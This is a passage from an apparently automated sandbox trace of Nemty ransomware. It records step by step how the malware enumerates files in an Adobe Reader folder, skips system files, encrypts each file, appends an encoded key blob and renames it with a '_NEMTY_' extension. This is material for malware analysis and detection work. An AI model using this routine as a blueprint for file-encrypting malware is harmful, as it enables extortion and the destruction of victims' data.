-1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="appdata") returned 1 [0217.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut102.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0217.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut102.hsp", cchWideChar=10, lpMultiByteStr=0x653e210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut102.hsp", lpUsedDefaultChar=0x0) returned 10 [0217.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut102.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0217.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut102.hsp", cchWideChar=10, lpMultiByteStr=0x653e210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut102.hsp", lpUsedDefaultChar=0x0) returned 10 [0217.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut102.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0217.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut102.hsp", cchWideChar=10, lpMultiByteStr=0x653e260, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut102.hsp", lpUsedDefaultChar=0x0) returned 10 [0217.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut102.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0217.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut102.hsp", cchWideChar=10, lpMultiByteStr=0x653e298, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut102.hsp", lpUsedDefaultChar=0x0) returned 10 [0217.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.301] Sleep (dwMilliseconds=0x5) [0217.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x35297510, dwHighDateTime=0x1d561e8)) [0217.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x35297510, dwHighDateTime=0x1d561e8)) [0217.306] GetLastError () returned 0x0 [0217.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.306] GetLastError () returned 0x0 [0217.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.306] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.306] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.306] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0217.306] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="+aP+gI8ZXtz90n7J+JLhdHRTlAfNaBO5GwGAXVJOxlNf13VtNAJo2ulyqLrfodoo\r\nGzd2OMRRzhT6mlrnmJWMNhgXbHbLMBsvPfOfSHzbLhZB/cdhuO8IJYWyLaajmmCS\r\nyWCXYGoii/ncVfUGTFHSU9+8vV9Pj/ZPScFQ9YDyHuYFdep91ostVBEFXaTuB2Fo\r\nGX8zLvpOLexEVko35HTm7ikRJl8JXbz+p5Bxl/YMXYHMnLHBQVUhA9J963D7L+74\r\nPXFwK5AxT4H//tVBvwbRmwpW2G06abSK42qtabHy8OxO2FrRWKFz4F+JpoPb9dEC\r\nx6E6UIL6ZRwOeN4zeugJkA==\r\n", pcchString=0x653df5c) returned 1 [0217.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0217.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.306] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut102.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut102.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.307] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=376938) returned 1 [0217.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6354c48 [0217.307] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.307] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0217.316] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.316] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0217.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.317] SetFilePointer (in: hFile=0x320, lDistanceToMove=376938, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c06a [0217.317] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.318] CloseHandle (hObject=0x320) returned 1 [0217.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.318] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.318] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.318] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut102.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut102.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut102.hsp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut102.hsp._nemty_kgobjgd_")) returned 1 [0217.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.319] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff4, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="dut32.clx", cAlternateFileName="")) returned 1 [0217.319] lstrcmpiW (lpString1="dut32.clx", lpString2=".") returned 1 [0217.319] lstrcmpiW (lpString1="dut32.clx", lpString2="..") returned 1 [0217.319] lstrcmpiW (lpString1="dut32.clx", lpString2="...") returned 1 [0217.319] lstrcmpiW (lpString1="dut32.clx", lpString2="windows") returned -1 [0217.319] lstrcmpiW (lpString1="dut32.clx", lpString2="$RECYCLE.BIN") returned 1 [0217.319] lstrcmpiW (lpString1="dut32.clx", lpString2="rsa") returned -1 [0217.319] lstrcmpiW (lpString1="dut32.clx", lpString2="NTDETECT.COM") returned -1 [0217.319] lstrcmpiW (lpString1="dut32.clx", lpString2="ntldr") returned -1 [0217.319] lstrcmpiW (lpString1="dut32.clx", lpString2="MSDOS.SYS") returned -1 [0217.320] lstrcmpiW (lpString1="dut32.clx", lpString2="IO.SYS") returned -1 [0217.320] lstrcmpiW (lpString1="dut32.clx", lpString2="boot.ini") returned 1 [0217.320] lstrcmpiW (lpString1="dut32.clx", lpString2="boot.ini") returned 1 [0217.320] lstrcmpiW (lpString1="dut32.clx", lpString2="AUTOEXEC.BAT") returned 1 [0217.320] lstrcmpiW (lpString1="dut32.clx", lpString2="ntuser.dat") returned -1 [0217.320] lstrcmpiW (lpString1="dut32.clx", lpString2="desktop.ini") returned 1 [0217.320] lstrcmpiW (lpString1="dut32.clx", lpString2="CONFIG.SYS") returned 1 [0217.320] lstrcmpiW (lpString1="dut32.clx", lpString2="RECYCLER") returned -1 [0217.320] lstrcmpiW (lpString1="dut32.clx", lpString2="BOOTSECT.BAK") returned 1 [0217.320] lstrcmpiW (lpString1="dut32.clx", lpString2="bootmgr") returned 1 [0217.320] lstrcmpiW (lpString1="dut32.clx", lpString2="programdata") returned -1 [0217.320] lstrcmpiW (lpString1="dut32.clx", lpString2="appdata") returned 1 [0217.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut32.clx", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut32.clx", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.320] Sleep (dwMilliseconds=0x5) [0217.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x352bd670, dwHighDateTime=0x1d561e8)) [0217.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x352bd670, dwHighDateTime=0x1d561e8)) [0217.321] GetLastError () returned 0x0 [0217.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.322] GetLastError () returned 0x0 [0217.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.322] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.322] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.322] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0217.322] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="Fp19lenOXGe1dl/1NMwzh5SnXsgZBh9uYfz6IzqwMjoL/VPs+xL12ojAS9mDkyXT\r\nj3Kv6Rm9+hJ1vWw25dKeBMnwLbPnR1vCQFakfLXFo2JpSYc7nKYYZndHA0N/C/Nl\r\nHAylJ3NldRNDHdU6DfholW0GZ34BNGPkllpLrSC3ZqzM5Fe2sPUdSc5W/7qUGAog\r\nbso6oCb3RF6P6DjKlosUe9BSJiMO8oLYKvaJ/O1S43ebA3LVvIaqHUF3SjRcvroN\r\nAPQ85tRZAIBFd8bxjo4HyjXGC05AWUqVnR64GRJUkUOQ3aQtE3UXNI+UxzLYoMJQ\r\naviBNSScDylC65ieydjEsA==\r\n", pcchString=0x653df5c) returned 1 [0217.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0217.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.322] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.323] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=32756) returned 1 [0217.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7ff0) returned 0x6354c48 [0217.323] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.323] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x7ff0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x7ff0, lpOverlapped=0x0) returned 1 [0217.326] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.326] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x7ff0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x7ff0, lpOverlapped=0x0) returned 1 [0217.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.326] SetFilePointer (in: hFile=0x320, lDistanceToMove=32756, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ff4 [0217.326] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.327] CloseHandle (hObject=0x320) returned 1 [0217.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.327] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut32.clx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut32.clx._nemty_kgobjgd_")) returned 1 [0217.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.328] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc3c00, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="dut57.ths", cAlternateFileName="")) returned 1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2=".") returned 1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2="..") returned 1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2="...") returned 1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2="windows") returned -1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2="$RECYCLE.BIN") returned 1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2="rsa") returned -1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2="NTDETECT.COM") returned -1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2="ntldr") returned -1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2="MSDOS.SYS") returned -1 [0217.328] 